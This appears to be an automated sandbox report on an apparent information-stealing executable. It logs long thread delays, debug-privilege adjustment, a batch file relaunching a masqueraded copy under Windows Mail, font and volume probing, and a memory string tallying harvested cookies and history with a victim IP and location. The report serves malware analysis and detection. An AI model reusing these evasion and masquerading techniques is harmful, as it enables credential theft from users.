Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587927s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587783s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587672s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587562s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587452s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587313s >= -30000s	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe TID: 8000	Thread sleep time: -587183s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\PING.EXE	Last function: Thread delayed

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 599871	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 599756	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 598516	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597921	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597388	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 596956	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 596469	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 595391	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594953	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594781	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594313	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 594047	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 593703	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 593297	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592922	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592591	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592344	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 592031	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 591703	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 591156	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 590953	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 590625	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 590313	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589953	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589594	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589265	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 589063	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588766	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588484	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588307	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588185	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 588078	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587927	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587783	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587672	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587562	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587452	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587313	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Thread delayed: delay time: 587183	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4124427819.0000000001159000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\RPCsxaP0QJ.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe "C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe"	Jump to behavior

Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.00000000059FF000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp, zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.00000000059FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerp
Source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.00000000059FF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"206"},"5.0.4",5,1,"","user","210979","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files\\Windows Mail","Unknown (Unknown)","Unknown (Unknown)","Program Manager","8.46.123.189","US / United States","New York / New York","40.7123 / -74.0068"]:

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Queries volume information: C:\Users\user\Desktop\FYKrlfQrxb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
